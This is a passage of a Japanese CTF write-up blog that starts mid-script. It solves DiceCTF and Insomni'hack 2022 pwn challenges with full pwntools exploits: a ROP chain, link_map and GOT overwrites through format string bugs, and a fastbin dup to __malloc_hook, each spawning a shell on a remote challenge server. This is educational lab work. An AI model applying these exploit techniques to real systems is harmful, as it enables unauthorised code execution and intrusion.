    p.sendlineafter("enter your index:", index)
    p.recvline()
    return p.recvline()

def write_string(index, contents):
    p.sendlineafter("enter your command:", "W")
    p.sendlineafter("enter your index:", index)
    p.sendlineafter("enter your string:", contents)
    return

create_string(str(0), str(0x78), cyclic(0x18))
create_string(str(1), str(0x78), cyclic(0x18))
create_string(str(2), str(0x78), cyclic(0x18))
create_string(str(3), str(0x78), cyclic(0x18))
create_string(str(4), str(0x78), cyclic(0x18))
create_string(str(5), str(0x78), cyclic(0x18))
create_string(str(6), str(0x78), cyclic(0x18))
create_string(str(7), str(0x78), p64(0xcafebabe))
create_string(str(8), str(0x400000), p64(0xcafebabe))
create_string(str(9), str(0x78), p64(0xcafebabe))

free_string(str(0))
free_string(str(1))
free_string(str(2))
free_string(str(3))
free_string(str(4))
free_string(str(5))
free_string(str(6))
free_string(str(7))
free_string(str(8))
free_string(str(9))

#libc leak
write_string(str(7),  cyclic(128)+p64(0x08)+p64(elf.got["puts"]))
data=read_string(str(8))
d=data.split()
libc_base=(int(d[0], 16)
          +int(d[1],16)*0x100
          +int(d[2], 16)*0x10000
          +int(d[3], 16)*0x1000000
          +int(d[4], 16)*0x100000000
          +int(d[5], 16)*0x10000000000)-libc.symbols["puts"]
log.info("libc_base is :"+hex(libc_base))

# leak stack address
write_string(str(7),  cyclic(128)+p64(0x08)+p64(libc_base+libc.symbols["environ"]))
data=read_string(str(8))
d=data.split()
stack_address=(int(d[0], 16)
          +int(d[1],16)*0x100
          +int(d[2], 16)*0x10000
          +int(d[3], 16)*0x1000000
          +int(d[4], 16)*0x100000000
          +int(d[5], 16)*0x10000000000)
log.info("stack address is :"+hex(stack_address))

# write rop code into stack open-read-write
pop_rdi=libc_base+0x0002d7dd
pop_rax=libc_base+0x000448a7
pop_rsi=libc_base+0x0002eef9
pop_rdx=libc_base+0x000d9c2d
push_rax=libc_base+0x00040c2f
syscall=libc_base+0x000888f2
write_string(str(7),  cyclic(128)+p64(0x100)+p64(stack_address-0x1a0))

# open("./flag.txt", 2) # syscall num 2
# read(3, stack_address, 0x20) # syscall num 0
# write(1, stack_address, 0x20) # syscall num 1
log.info(hex(pop_rdi))
write_string(str(8), b"./flag.txt\x00\x00\x00\x00\x00\x00"
             +p64(pop_rdi)
             +p64(stack_address-0x1a0) #0x1a0
             +p64(pop_rsi)
             +p64(0)
             +p64(pop_rdx)
             +p64(0)
             +p64(pop_rax)
             +p64(2)
             +p64(syscall) # open
             +p64(pop_rdi)
             +p64(3)
             +p64(pop_rsi)
             +p64(stack_address+0x100)
             +p64(pop_rdx)
             +p64(0x100)
             +p64(pop_rax)
             +p64(0)
             +p64(syscall) # read
             +p64(pop_rdi)
             +p64(1)
             +p64(pop_rsi)
             +p64(stack_address+0x100)
             +p64(pop_rdx)
             +p64(0x100)
             +p64(pop_rax)
             +p64(1)
             +p64(syscall) #write
             )

# fsop
#ret=0x00401020
#_IO_xsputn_t=0x1f6598
#write_string(str(7),  cyclic(128)+p64(0x08)+p64(libc_base+_IO_xsputn_t))
#write_string(str(8), p64(ret))

p.interactive()

一応これでflagが出力された

pwn/data-eater

25 solves / 220 points

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

1-3回入力するとsegmentation faultで落ちるバイナリ。
この問題は開催期間中に解けなかった。
方針は立ったが、理由は後述。

main関数の中身はこんな感じ。

undefined8 main(undefined8 param_1,long *param_2,long *param_3)

{
  long in_FS_OFFSET;
  long *local_30;
  long *local_28;
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = param_2;
  while (local_30 = param_3, *local_28 != 0) {
    *local_28 = 0;
    local_28 = local_28 + 1;
  }
  while (*local_30 != 0) {
    *local_30 = 0;
    local_30 = local_30 + 1;
  }
  fgets(local_18,8,stdin);
  __isoc99_scanf(local_18,buf);
  memset(buf,0,0x20);
  uRam0000000000000000 = 0;
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    uRam0000000000000000 = 0;
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

一回目のfgetsで文字列を7文字まで入力を受け付ける(null終端除く)
次のscanfで入力された文字列に対してscanfを行うという処理。
明かなFSBがある。

FSBで書き換えることが出来そうなポインタを探すために
スタック内を見てみるとこのような感じ。

gdb-peda$ x/100gx 0x7fffffffdee0
0x7fffffffdee0:	0x0000000000000000	0x0000000100400560
0x7fffffffdef0:	0x0000000a73243225	0x6d417b81b6198100
0x7fffffffdf00:	0x0000000000000000	0x000015555533f0b3
0x7fffffffdf10:	0x0000155555553620	0x00007fffffffdff8
0x7fffffffdf20:	0x0000000100000000	0x0000000000400647
0x7fffffffdf30:	0x0000000000400730	0xf6fbaa7d7e7acd40
0x7fffffffdf40:	0x0000000000400560	0x00007fffffffdff0
0x7fffffffdf50:	0x0000000000000000	0x0000000000000000
0x7fffffffdf60:	0x09045582c05acd40	0xdc51001a9eb4cd40
0x7fffffffdf70:	0x0000000000000000	0x0000000000000000
0x7fffffffdf80:	0x0000000000000000	0x0000000000000001
0x7fffffffdf90:	0x00007fffffffdff8	0x00007fffffffe008
0x7fffffffdfa0:	0x0000155555555190	0x0000000000000000

これと、書き込み可能な領域を照らし合わせてみる。

Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater
0x00601000         0x00602000         rw-p	/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater
0x00602000         0x00623000         rw-p	[heap]
0x0000155555503000 0x0000155555506000 rw-p	/usr/lib/x86_64-linux-gnu/libc-2.31.so
0x0000155555506000 0x000015555550c000 rw-p		mapped
0x0000155555554000 0x0000155555555000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so
0x0000155555555000 0x0000155555556000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]

writableな領域のみ抜粋してみたが、これを見てみると、そもそも使えそうなポインタは
スタック領域を除くと下記の2つであった。
0x000015555533f0b3 (6番目)
0x0000155555555190 (32番目)

これらのアドレスを色々調べてみると、
0x0000155555555190は、link_map構造体であることがわかった。

link_map構造体は、_dl_fixup 関数の引数として渡され、関数名の名前解決に用いられる。(Lazy Binding時)
link_mapをうまく書き換えることで、libc内の名前解決のフローをある程度操作することができる。

scanfの次のmemset関数は、初めて呼び出されるので、Lazy Bindingにより、
link_mapを使った名前解決が走るので書き換えることで、systemに飛ばすことができるかもしれない。

ということで、%sと%32$sでそれぞれ、場所が固定されている領域と、link_mapの領域に書き込みができる。
※ここでscanf の man pageを見たところ下記の記述があり、同時に%sと%32$sに書き込むことはできないと思い込んでしまった。
(後からコードを見たら、ちゃんと分離して書き込めていた。思い込みは恐ろしい…)

format 中の変換指定は、'%' で始まるか、 "%n$" で始まるかの、いずれかの形式である。 これら 2つの形式を同じ format 文字列に混ぜることはできない。

そこで他の方法にシフトして、他の謎の方法(後述)でRIPまでは取ることができたが、手詰まりになってしまった。
話を元に戻す。

まず、"%s%32$s"を一回目のfgetsに入力する。
次のscanfで、
%s(これは0x601080のbufに入力される。この領域はPIE無効なので位置が変わることはない)
%32$s(これは、link_mapの構造体が存在する0x0000155555555190に書き込まれる)
に書き込みができるので、
link_map構造体の指すSTRTABのポインタを0x601088に向け、
0x601088に偽のSTRTABを作る(memset を systemに変えておく)ことで、memsetで名前解決をするときにsystemで名前解決をするようにできる。
memsetの引数には0x601080が入るので、この領域の頭には"/bin/sh\x00"を入れておくことで、system("/bin/sh")が呼べそう。

0x20が含まれていると入力できなくなってしまうので、link mapポインタをうまく書き換える等、色々頑張る必要があるのだが、
気になったポインタを0にしたら、なんと普通に通ってしまった。
STRTABは0だと流石にsegmentation faultで落ちそうな気もするが、意外とnullがいくつかあっても名前解決ができた。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater")
p=remote("mc.ax",31869)
#p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False)

p.sendline("%s%32$s")

link_map=p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0)+p64(0)\
         +p64(0x0000000000600f00)+p64(0x0000000000600ef0)\
         +p64(0)+p64(0x601088)\
         +p64(0x0000000000600eb0)+p64(0x0000000000600f30)\
         +p64(0x0000000000600f40)+p64(0x0000000000600f50)\
         +p64(0x0000000000600ec0)+p64(0x0000000000600ed0)\
         +p64(0x0000000000600e30)+p64(0x0000000000600e40)

binsh="/bin/sh".encode()+b"\x00"
fake_struct=p64(5)+p64(0x601098)
fake_strtab=b"\x00"+"libc.so.6".encode()\
           +b"\x00"+"__isoc99_scanf".encode()\
           +b"\x00"+"__stack_chk_fail".encode()\
           +b"\x00"+"stdin".encode()\
           +b"\x00"+"fgets".encode()\
           +b"\x00"+"system".encode()\
           +b"\x00"+"__libc_start_main".encode()

p.sendline(binsh+fake_struct+fake_strtab+b" "+link_map)

p.interactive()

これでシェルが取れる。

謎の方法
下記のコードで、RIPまでは取れた。

from pwn import *

elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater")
p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False)
gdb.attach(p)

p.sendline("%6$s") # get RIP
target=0xdeadbeef
p.sendline("A".encode()*(0x1038)+p64(target-0xa36c0))
p.interactive()

なんかしらの関数ポインタを書き換えているようだ
しかし、mainに戻ろうにもバグって落ちるし、libc leakが無い以上、one_gadgetにも飛ばせないし、手詰まりだった。
ROPでstack pivotができるかと思ったが、程よいガジェットがギリギリなくてダメだった。

良問ばかりで素晴らしいCTFだった。
他の問題も解いてまとめたいなぁ。

Insomni'hack teaser 2022 Write-up

今年から、CTFのモチベーションを保つために、解いた問題のWriteupを書くことにしました。
2022/1/29-30に開催されたInsomni'hack teaser 2022に参加しました。
初めてはてなを使ってみたので、書き方が不慣れです。すみません。

f:id:ec76237290:20220131214731p:plain

pwnタスクは4つありましたが、開催期間中に解くことができたのは、一番簡単なCovidLe$sだけでした。

開催期間終了後に、onetestamentを解いたので、この2問の解き方をまとめます。

CovidLe$s

初めて見たblind pwn
f:id:ec76237290:20220201155952p:plain

自明なFSBがある。
バイナリの防御機構はわからないが、おそらくGOT Overwriteあたりができるのだろう。
とりあえずFSBを使ってスタックの中身を見てみる。

from pwn import *

p=remote("covidless.insomnihack.ch",6666)

for i in range(0,100):
    p.sendline("%{}$p".format(i).ljust(0x8).encode())
    print(str(i), p.recv(timeout=0.3))

こんな感じのコードで、スタックを出力できる。

0 b'Your covid pass is invalid : %0$p    \ntry again ..\n\n'
1 b'Your covid pass is invalid : 0x400934    \ntry again ..\n\n'
2 b'Your covid pass is invalid : (nil)    \ntry again ..\n\n'
3 b'Your covid pass is invalid : (nil)    \ntry again ..\n\n'
4 b'Your covid pass is invalid : 0x7ff402f30580    \ntry again ..\n\n'
5 b'Your covid pass is invalid : 0x7ff402d048d0    \ntry again ..\n\n'
6 b'Your covid pass is invalid : 0x74346e3143633456    \ntry again ..\n\n'
7 b'Your covid pass is invalid : 0x505f44315f6e6f31    \ntry again ..\n\n'
8 b'Your covid pass is invalid : 0x5379334b5f763172    \ntry again ..\n\n'
9 b'Your covid pass is invalid : 0x5f74304e6e34635f    \ntry again ..\n\n'
10 b'Your covid pass is invalid : 0xa6b34336c   \ntry again ..\n\n'
11 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
12 b'Your covid pass is invalid : 0x2020207024323125   \ntry again ..\n\n'
13 b'Your covid pass is invalid : 0xa   \ntry again ..\n\n'
14 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
15 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
16 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
17 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
18 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
19 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
20 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
21 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
22 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
23 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
24 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
25 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
26 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
27 b'Your covid pass is invalid : (nil)   \ntry again ..\n\n'
28 b'Your covid pass is invalid : 0x7fff471f6360   \ntry again ..\n\n'
29 b'Your covid pass is invalid : 0x86ae0fff72979c00   \ntry again ..\n\n'
30 b'Your covid pass is invalid : 0x400890   \ntry again ..\n\n'
31 b'Your covid pass is invalid : 0x7ff402938b97   \ntry again ..\n\n'

ここから慣れの問題である気がするが、
0x86ae0fff72979c00はstack canaryであるような気がする。
そして、その2個下の 0x7ff402938b97 は、おそらく__libc_start_mainだろう。
libc database search

このサイトで調べると、
f:id:ec76237290:20220201162650p:plain
この問題のlibcはglibc2.27であろうことがわかる。
これでlibc baseが特定できた。

後はGOT Overwriteを目指すために、バイナリの中身をダンプしてみる。

from pwn import *

p=remote("covidless.insomnihack.ch",6666)

def leak(address):
    p.sendline("%13$s".ljust(0x8).encode()+p64(address))
    print(p.recvuntil("Your covid pass is invalid : "))
    tmp=p.recvuntil("try again ..").replace("try again ..".encode(),"".encode()).strip().ljust(8, b"\x00")
    if len(tmp)>8:
        data=u64(tmp[0:8])
    else:
        data=u64(tmp)
    return data

base=0x600f00
for i in range(0x1000):
    p.sendline("%13$s".ljust(0x8).encode()+p64(base+i*0x8))
    print(hex(base+i*0x8),hex(leak(base+i*0x8)))

p.interactive()

スタックの13番目に任意の値を入れることができたので、%13$sで、任意のアドレスをleakさせることができる。
GOTがありそうなアドレスは、適当に色々試した。(手元のバイナリだと0x600XXXとかが多かったので…)
出力結果は下記のような感じ。

b'\n\nYour covid pass is invalid : '
0x601008 0x20207f0f07dde170
b'\n\nYour covid pass is invalid : '
0x601010 0x20207f0f07bca8f0
b'\n\nYour covid pass is invalid : '
0x601018 0x20207f0f078429c0
b'\n\nYour covid pass is invalid : '
0x601020 0x10202020204005f6
b'\n\nYour covid pass is invalid : '
0x601028 0x20207f0f07826e80
b'\n\nYour covid pass is invalid : '
0x601030 0x20207f0f07950f50
b'\n\nYour covid pass is invalid : '
0x601038 0x382020207f0f0784
b'\n\nYour covid pass is invalid : '
0x601040 0x20207f0f0786be70
b'\n\nYour covid pass is invalid : '
0x601048 0x20207f0f078407e0

これで、0x7f0f07bca8f0とかはGOTの領域っぽいので、あとは%nの書式文字列でone_gadgetに飛ばすだけ。
どれを選ぶかが問題だが、libc databaseによるとputsのoffsetが0x809c0であることから
0x601018にある0x7f0f078429c0はputsのアドレスだろうとアタリを付けて0x601018をone_gadgetのアドレスにoverwriteした。

from pwn import *

libc=ELF("/home/ubuntu/Desktop/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")

p=remote("covidless.insomnihack.ch",6666)

#leak libc base
p.sendline("%31$p")
p.recvuntil("Your covid pass is invalid : ")
libc_base=int(p.recvline().split()[0], 16)-0x21b97
log.info("libc_base:"+hex(libc_base))

#GOT overwrite 
one_gadget=0xe5863
upper=(libc_base+one_gadget)//0x100000000
lower1=(libc_base+one_gadget)%0x100000000
lower1=lower1//0x10000
lower2=(libc_base+one_gadget)%0x100000000
lower2=lower2%0x10000
p.sendline("%{}c%20$hn%{}c%19$hn%{}c%18$hn".format(upper,0x10000+lower1-upper, 0x10000+lower2-lower1).ljust(0x30).encode()+p64(0x601020-0x8)+p64(0x601022-0x8)+p64(0x601024-0x8))
p.recv(timeout=0.5)

p.interactive()

すごい勢いで空白が出力されるけど、一応シェルは取れる。

難易度としてはそんなに高くないものの、FSBはスタックがズレたりしてexploitのコーディングに時間がかかる。

onetestament

よくあるheap note問題。
f:id:ec76237290:20220131222840p:plain

1:新しい領域をcallocして書き込みする。(サイズは0x30, 0x18, 0x60, 0x7cから選べる)

2:決まった文言を出力する(あまり意味ない)

3:取得済みの領域を編集する。(2回までしかできない)

4:callocされた領域をfreeする。

脆弱性

脆弱性は二つある。

1つ目は、Edit my testamentを行うとOOBで0x01を足してしまうバグ。
Edit testament は受け取った数値をpointerに加算して、該当アドレスに0x01を加算する。
一応boundary checkが存在するものの、1バイトずれていて、隣の領域のmchunk_sizeに0x01を加算できる。

2つ目は、4のDeleteした後もポインタが削除されず、UAFがあること。
一応Deleteされた後は、flagが0x0(4バイト)になり、Deleteできないようにしているのだが、indexの入力は5バイトを隣り合った領域に書き込むため、flagを上書きできる。その結果UAFができる。

Exploitの方針

脆弱性の一つ目によって、サイズのIS_MMAPPEDフラグを立てることが可能。このフラグを立てることで、libc addressのリークが可能となる。(callocはIS_MMAPPEDがあると内容を初期化しない為)
このテクニックは、こちらの書籍に詳しく載っているのでご参照。

book.mynavi.jp

callocで取得する前に当該領域にlibcのアドレスを書き込む必要がある。
これはunsorted binに入れる必要がある。
問題設定上unsortedbin に使ってほしそうな、0x7cの領域確保を行いfreeをするとunsorted binに入るので、これを活用する。
(fastbinはlibcのアドレスを持たないのでlibc leakには使えない)

これによりlibc_baseをleakすることができる。

その次にRIPを奪うことを考えるが、glibc2.23なので、fastbin dupを使えることができるので__malloc_hookを書き換えことができる。
fastbin dupはhow2heapを参照
how2heap/fastbin_dup.c at master · shellphish/how2heap · GitHub
今回は0x60でcallocできるので、fastbinのチェックであるサイズチェックをバイパスできる。
(libcのアドレスは0x7fから始まるので、偶然fastbinのサイズと同じになる。したがってfastbinのチェックをバイパスできる)
これで__malloc_hookを書き換えてone_gadgetに飛ばせばよい。

from pwn import *

elf=ELF("/hostshare/ontestament")
libc=ELF("/hostshare/libc6.so")

#p=process("/hostshare/ontestament", aslr=False,env={"LD_PRELOAD" : "/hostshare/libc6.so"} )
#p=process("/hostshare/ontestament", aslr=True )
#gdb.attach(p)

p=remote("onetestament.insomnihack.ch",6666)

def new_testament(choice, content):
    p.sendlineafter("Please enter your choice:", "1".encode())
    p.sendlineafter("Please enter your choice:", str(choice).encode())
    p.sendlineafter("Please enter your testatment content:", content)
    return p.recvline()

def show_testament(index):
    p.sendlineafter("Please enter your choice:", "2".encode())
    return p.recvline()

def edit_testament(index, content):
    p.sendlineafter("Please enter your choice:", "3".encode())
    p.sendlineafter("Please enter your testament index:", str(index).encode())
    p.sendlineafter("Please enter your testament content:", content)
    return p.recvline()

def delete_testament(index):
    p.sendlineafter("Please enter your choice:", "4".encode())
    p.sendlineafter("Please enter your testament index:", str(index).encode())
    return p.recvline()

### leak libc ###
new_testament(1, cyclic(0x10)) #0
new_testament(4, cyclic(0x10)) #1
new_testament(3, cyclic(0x10)) #2 barrier

delete_testament(1) # 1 fd, bk
edit_testament(0, str(0x18)) #IS_MMMAPED
edit_testament(0, str(0x18)) #PREV_USED
new_testament(4, "") #1
libc_base=u64((b"\x00"+p.recv(5)).ljust(8, b"\x00"))-0x3c4b00
log.info("libc base is :" + hex(libc_base))

### fastbin dup ###

new_testament(3, cyclic(0x10)) #3
new_testament(3, cyclic(0x10)) #4

delete_testament(4)
delete_testament(2)
p.sendlineafter("Please enter your choice:", "4".encode())
p.sendlineafter("Please enter your testament index:", str(4).encode()+b"\xde\xad\xbe\xef")

one_gadget=0x4527a
new_testament(3, p64(libc_base+libc.symbols["__memalign_hook"]-0x13))
new_testament(3, "A")
new_testament(3, "BBBB")
new_testament(3, "CCCCCCCCCCCCCCCCCCC".encode()+p64(libc_base+one_gadget))

#pwn it
p.sendlineafter("Please enter your choice:", "1".encode())
p.sendlineafter("Please enter your choice:", str(1).encode())

p.interactive()

こちらも難易度はあまり高くないけど、脆弱性を見つけることが難しいなぁーと思った。

仮にlibc 2.31だったとしてもcallocの10回制限が無ければ、house of botcakeで解けるかも?と思ったが
callocはtcacheからは取らないからやっぱりダメなような気もした(試す体力はない)。

LoadMeもBlindpwnのようでしたが、Windows問なので、何もわかりませんでした。いつかやりたいです。
RetroPwnはゲームボーイっぽいゲームが始まって面白そうでした。いつかやりたいです。

どこか間違っている記載があったらすみません。